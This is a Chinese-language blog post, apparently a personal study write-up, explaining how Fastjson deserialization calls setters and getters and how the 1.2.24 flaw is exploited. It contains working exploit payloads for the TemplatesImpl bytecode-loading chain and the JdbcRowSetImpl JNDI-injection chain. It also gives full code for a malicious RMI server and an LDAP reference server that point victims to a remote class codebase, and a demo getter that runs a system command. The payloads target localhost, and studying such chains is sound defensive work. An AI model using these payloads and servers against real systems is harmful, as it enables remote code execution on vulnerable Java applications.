Fastjson基础&1.2.24反序列化学习
follycat Lv3

Fastjson基础&1.2.24反序列化学习

Fastjson 是阿里巴巴开源的一个Java语言编写的JSON处理器,用于将Java对象与JSON格式的字符串之间进行转换。简单来说,它能将Java对象序列化为JSON字符串,也能将JSON字符串反序列化为Java对象。

其中主要有几个重要的函数,JSON.parseJSON.parseObject 这俩个函数是用于反序列化的,JSON.toJSONString这个函数用于序列化对象

Demo

首先,创建一个类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;

public class Person {
private String name;
private int age;
public int Sex;

public Person() {
System.out.println("Person constructor");
}

public String getName() {
System.out.println("Person.getName()");
return name;
}

public void setName(String name) {
System.out.println("Person.setName()");
this.name = name;
}

public int getAge() {
System.out.println("Person.getAge()");
return age;
}

public void setSex(int Sex){
System.out.println("Person.setSex()");
this.Sex=Sex;
}

public int getSex(){
System.out.println("Person.gerSex()");
return Sex;
}

}

将这个类进行json序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
public static void main(String[] args) {
Person person = new Person();
person.setName("cat");
String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}

可以看到调用了所有get方法之后,输出了json序列化之后的Java对象,再写一个将其反序列化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

public class Unserialize {
public static void main(String[] args) {
String jsonString = "{\"@type\":\"org.example.Person\",\"Sex\":1,\"age\":10,\"name\":\"cat\",\"sex\":1}";
Person person = (Person) JSON.parse(jsonString);
System.out.println(person);
System.out.println(person.getClass().getName());
System.out.println();

Object person2 = JSON.parseObject(jsonString);
System.out.println(person2);
System.out.println(person2.getClass().getName());
System.out.println();

Object person3 = JSON.parseObject(jsonString, Person.class, Feature.SupportNonPublicField);
System.out.println(person3);
System.out.println(person3.getClass().getName());
System.out.println(((Person) person3).getAge());
}
}

因为使用了俩个不同的反序列化函数,因此有多段输出,从中可以发现JSON.parse(jsonString)在调用玩所以set方法后直接返Person类,而JSON.parseObject(jsonString);在调用了所以get与set方法之后都没有返回指定值,当第二个参数传入Person.classJSON.parseObject(jsonString, Person.class);才返回Person类,因此当其序列化时会调用目标的所以get方法以及使用过的set方法,而反序列化时只调用所有的set方法,并且parseObject方法需要传入俩个参数才可以正常返回指定Java对象。

并且,可以看到图片中的第二段参数,age并没有被赋值,这是由于其没有set方法,并且为private对象导致的,如果真的需要调用的化需要在后面再加上Feature.SupportNonPublicField参数。

反序列化调用setter/getter方法原理

可以看到上面的Demo中fastJson对Person类中的getter和setter方法进行了调用操作,因此如果在getter和setter方法中存在可以利用的恶意类并且被fastJson调用了就会进行执行。

这里在Person中添加一个Properties 对象,这是一个嵌套对象,因此在反序列化的时候将会调用getProperties() 来获取已有实例,并且在getProperties()中加入Runtime方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import java.io.IOException;
import java.util.Properties;

public class Person {
private String name;
private int age;
private int Sex;
private Properties properties;

public Person() {
System.out.println("Person constructor");
}

public String getName() {
System.out.println("Person.getName()");
return name;
}

public void setName(String name) {
System.out.println("Person.setName()");
this.name = name;
}


public int getAge() throws Exception {
System.out.println("Person.getAge()");
return age;
}

public void setSex(int Sex){
System.out.println("Person.setSex()");
this.Sex=Sex;
}

public int getSex() throws Exception {
System.out.println("Person.gerSex()");
return Sex;
}
public Properties getProperties() throws Exception{
System.out.println("getProperties");
Runtime.getRuntime().exec("calc");
return properties;
}

}

然后再对其进行反序列化操作(和上面Demo中基本一致)。

setter方法

首先进入Json.parse方法

一直过到parser.parse然后步入。

继续跟进到this.parse

这里是根据传入类型对其进行不同的处理,这里会跳转到12,也就是Object对象类型。

这里继续跟进到this.parseObject中,然后一直跳到deserializer.deserialze

跟进,然后再跟进。

跟进俩次就到了。

这里是进行反序列化处理的,还是继续向下跟,可以跟到下面这个key的判断这里。

继续向下跟进就行,然后可以调到this.createInstance反序列化之后的函数是在这里进行构造的。

可以观察到旁边的参数,是name,这个参数是接下来用于判断调用哪个参数的set方法用的,先继续向下跟进。

跟到fieldDeserializer).parseField这里,这个方法就是用来调用setter和getter方法的,跟进去。

走到setValue这里。

继续跟进去。

进入setValue之后,可以发现这就是一个根据反射来设置对象值的一段代码,往下面看可以看到invoke方法。

Properties的getter方法

就是通过这些invoke方法来执行setter/getter方法的,继续跟,直到key=properties。

他和前面参数都不一样,他是调用get方法,会到另一个method.invoke

执行后弹出计算器。

fastjson-1.2.24

TemplatesImpl利用链

上面分析了fastjson是通过调用gettersetter来进行序列化和反序列化操作的,因此只需要找到可以利用的gettersetter类就可以进行恶意操作。

这里找到的是TemplatesImpl这个类加载字节码,他是通过.newInstance()方法触发的,可以找到这个getTransletInstance()

这是一个getter方法,并且其中__class中的_transletIndex的里的类会使用newInstance进行实例化。

这里可以需要让他走到AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();可以参考CC3设置的参数,也就是_bytecodes_name_tfactory不能为空。除此之外还有满足fastjson调用getter和setter的一些硬性要求。

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

而这个getTransletInstance()方法是不满足这些条件的,因此我们需要找到一个可以调用getTransletInstance()方法的函数,向上寻找。

找到newTransformer里面调用了该方法,并且看到其还传了一个参数,就是_outputProperties因此需要满足该参数也不为空才能满足调用条件。

但由于其不是getter和setter方法,因此继续向上寻找,最后找到了getOutputProperties函数调用了newTransformer

因此可以构造序列化参数为

1
{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+ base+"\"],'_name':'cat.a','_tfactory':{ },\"_outputProperties\":{ },}

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
public class Demo {
public static void main(String[] args) throws IOException {
String base = binToBase64("E://Test.class");
String fastJ = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+ base+"\"],'_name':'cat.a','_tfactory':{ },\"_outputProperties\":{ },}";
JSON.parse(fastJ,Feature.SupportNonPublicField);
}
public static String binToBase64(String filePath) throws IOException {
byte[] fileContent = Files.readAllBytes(Paths.get(filePath)); // 读取文件内容
return Base64.getEncoder().encodeToString(fileContent); // 转换为Base64字符串
}

}

JdbcRowSetImpl利用链

这条链就比较简单,主要是通过JNDI进行注入,利用的是setter方法。

还是先看到JdbcRowSetImpl这个类,找到其中的setDataSourceName方法。

跟到setDataSourceName中,其中会设置dataSource的值

而触发点是在setAutoCommit方法中

当conn=null时,将会直接触发connect方法

在connect方法中进行了调用了lookup,并且调用的是getDataSourceName来获取值,由于setter方法在反序列化时自动调用,因此只需要给dataSourceName赋值即可,并且需要添加autoCommit参数,来触发setAutoCommit方法。

因此构造payload为

1
2
3
4
5
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://xxx\", " +
"\"autoCommit\":1" +
"}";

RMI+Jndi

server:

1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;

public class JNDI {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("zGZLUXzF","zGZLUXzF","http://127.0.0.1:8085/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

fastjson

1
2
3
4
5
6
7
8
public static void main(String[] args) throws IOException {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", " +
"\"autoCommit\":1" +
"}";
JSON.parse(payload);
}

ldap+Jndi

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package org.example.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class jndi_ldap {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8085/#zGZLUXzF"};
int port = 9999;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

fastjson

1
2
3
4
5
6
7
8
public static void main(String[] args) throws IOException {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/zGZLUXzF\", " +
"\"autoCommit\":1" +
"}";
JSON.parse(payload);
}

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View